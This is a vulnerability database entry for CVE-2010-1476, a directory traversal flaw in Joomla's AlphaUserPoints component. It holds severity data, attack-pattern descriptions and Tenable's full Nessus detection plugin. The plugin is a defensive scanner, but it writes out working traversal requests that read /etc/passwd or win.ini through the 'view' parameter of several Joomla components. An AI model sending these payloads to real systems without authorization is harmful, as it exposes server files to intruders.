Vulnerabilities > CVE-2010-1476 - Path Traversal vulnerability in Alphaplug COM Alphauserpoints 1.5.5

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
alphaplug
joomla
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the view parameter to index.php.

Vulnerable Configurations

Part Description Count
Application
Alphaplug
1
Application
Joomla
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionJoomla Component AlphaUserPoints Local File Inclusion Vulnerability. CVE-2010-1476. Webapps exploit for php platform
fileexploits/php/webapps/12150.txt
idEDB-ID:12150
last seen2016-02-01
modified2010-04-11
platformphp
port
published2010-04-11
reporterAntiSecurity
sourcehttps://www.exploit-db.com/download/12150/
titleJoomla Component AlphaUserPoints Local File Inclusion Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idJOOMLA_COMPONENTS_VIEW_LFI.NASL
descriptionThe remote host contains a component for Joomla! or Mambo that fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id45490
published2010-04-12
reporterThis script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/45490
titleJoomla! / Mambo Component 'view' Parameter Local File Include
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(45490);
  script_version("1.28");
  script_cvs_date("Date: 2018/06/13 18:56:27");

  script_cve_id(
    "CVE-2010-1313",
    "CVE-2010-1476",
    "CVE-2010-1531",
    "CVE-2010-1533",
    "CVE-2010-1535",
    "CVE-2010-1983",
    "CVE-2010-2128"
  );
  script_bugtraq_id(
    39206,
    39211,
    39237,
    39393,
    40187,
    41357
  );
  script_xref(name:"EDB-ID", value:"12054");
  script_xref(name:"EDB-ID", value:"12055");
  script_xref(name:"EDB-ID", value:"12082");
  script_xref(name:"EDB-ID", value:"12150");
  script_xref(name:"EDB-ID", value:"12607");
  script_xref(name:"EDB-ID", value:"14183");

  script_name(english:"Joomla! / Mambo Component 'view' Parameter Local File Include");
  script_summary(english:"Attempts to read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
local file include vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host contains a component for Joomla! or Mambo that fails
to sanitize user-supplied input to the 'view' parameter in a GET
request before using it to include PHP code. Regardless of the PHP
'register_globals' setting, an unauthenticated, remote attacker can
exploit this issue to disclose arbitrary files or possibly execute
arbitrary PHP code on the remote host, subject to the privileges of
the web server user ID.");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor of each affected component to see if an upgrade is
available or else disable it.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:U/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Joomla Component com_tweetla 1.0.1 LFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/04/04");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/04/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/04/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("mambo_detect.nasl", "joomla_detect.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:80, php:TRUE);
app = "Mambo / Joomla!";

# Generate a list of paths to check.
mambo = get_dirs_from_kb(appname:'mambo_mos', port:port);
if (isnull(mambo)) mambo = make_list();

joomla = make_list();
joomla_installs = get_installs(
  app_name : "Joomla!",
  port     : port
);

if (joomla_installs[0] == IF_OK)
{
  foreach install (joomla_installs[1])
  {
    dir = install['path'];
    joomla = make_list(dir, joomla);
  }
}

dirs = make_list(mambo, joomla);
if (max_index(dirs) == 0)
  audit(AUDIT_WEB_APP_NOT_INST, app, port);

# Vulnerable components.
ncoms = 0;
com = make_array();
pat = make_array();                     # regexes so we're sure the component is installed.

# - AlphaUserPoints (Bugtraq 39393 / EDB-ID 12150)
com[ncoms] = "/index.php?option=com_alphauserpoints";
pat[ncoms] = "";
ncoms++;
# - JEQuoteForm (Bugtraq 40187 / EDB-ID 12607)
com[ncoms] = "/index.php?option=com_jequoteform";
pat[ncoms] = 'function submitbutton\\(';
ncoms++;
# - redSHOP (Bugtraq 39206 / EDB-ID 12054)
#   untested but confirmed at <http://redcomponent.com/forum/61-main/6890-redshop-1010-redprodctfinder-reddesign-release>.
com[ncoms] = "/index.php?option=com_redshop";
pat[ncoms] = '';
ncoms++;
# - redTWITTER (Bugtraq 39211 / EDB-ID 12055)
com[ncoms] = "/index.php?option=com_redtwitter";
pat[ncoms] = '(twitter_followers|twitters_list)';
ncoms++;
# - Seber Cart (Bugtraq 39237 / EDB-ID 12082)
com[ncoms] = "/index.php?option=com_sebercart";
#   nb: this appears in the Location header.
pat[ncoms] = 'view=store';
ncoms++;
# - Seyret (EDB-ID 14183)
com[ncoms] = "/index.php?option=com_seyret";
pat[ncoms] = 'com_seyret/(mootools\\.js|controllers/main\\.controller\\.php)';
ncoms++;


# Try to retrieve a local file.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os)
    files = make_list('/windows/win.ini','/winnt/win.ini');
  else
    files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini', 'LICENSE.php');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['LICENSE.php'] = "GNU GENERAL PUBLIC LICENSE";

# Loop through each directory.
contents = "";
found_file = "";
info = "";
non_affect = make_list();

foreach dir (list_uniq(dirs))
{
  for (i=0; i<ncoms; i++)
  {
    foreach file (files)
    {
      # Once we find a file that works, stick with it for any subsequent tests.
      if (found_file && file != found_file) continue;

      if (file[0] == '/') traversal = crap(data:"../", length:3*9) + '..';
      else traversal = '../../../';
      traversal = '/' + traversal;

      if (substr(file, strlen(file)-4) == ".php")
        exploit = traversal + substr(file, 0, strlen(file)-4-1);
      else
        exploit = traversal + file + "%00";

      url = dir + com[i] + "&view=" + exploit;
      res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);

      # There's a problem if...
      body = res[2];
      file_pat = file_pats[file];
      if (
        # we see the expected contents or...
        egrep(pattern:file_pat, string:body) ||
        # we get an error because magic_quotes was enabled or...
        traversal+file+".php" >< body ||
        # we get an error claiming the file doesn't exist or...
        file+"): failed to open stream: No such file" >< body ||
        file+") [function.require-once]: failed to open stream: No such file" >< body ||
        file+") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: No such file" >< body ||
        # we get an error about open_basedir restriction.
        file+") [function.require-once]: failed to open stream: Operation not permitted" >< body ||
        file+") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: Operation not permitted" >< body ||
        "open_basedir restriction in effect. File("+traversal+file >< body
      )
      {
        # Make sure it's the affected component unless we're paranoid or we can't.
        if (report_paranoia < 2 && pat[i])
        {
          url2 = dir + com[i];
          res2 = http_send_recv3(port:port, method:"GET", item:url2, exit_on_fail:TRUE);

          if (!egrep(pattern:pat[i], string:res2[1]+res2[2])) break;
        }

        info += "  - " + build_url(port:port, qs:url) + '\n';

        if (!contents && egrep(pattern:file_pat, string:body))
        {
          found_file = file;

          if ("sebercart" >< com[i])
          {
            contents = strstr(body, '<table class="nopad"');
            contents = contents - strstr(contents, '<link href');
            contents = ereg_replace(pattern:'^.+<td>[ \\t\\n\\r]*', replace:'', string:contents);
          }
          else
          {
            contents = body;
            if ("<br" >< contents) contents = contents - strstr(contents, "<br");
          }
        }
        break;
      }
    }
    if (info && !thorough_tests) break;
  }
  non_affect = make_list(non_affect, dir);
  if (info && !thorough_tests) break;
}

if (!info)
{
  installs = max_index(non_affect);

  if (installs == 0)
    exit(0, "None of the "+app+ " installs (" + join(dirs, sep:" & ") + ") on port " + port+ " are affected.");

  else if (installs == 1)
    audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));

  else exit(0, "None of the "+app+ " installs (" + join(non_affect, sep:" & ") + ") on port " + port + " are affected.");
}

# Report findings.
if (os && "Windows" >< os) found_file = str_replace(find:'/', replace:'\\', string:found_file);

if (empty_or_null(contents)) contents = body;

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  file        : found_file,
  request     : split(info),
  output      : contents,
  attach_type : 'text/plain'
);
exit(0);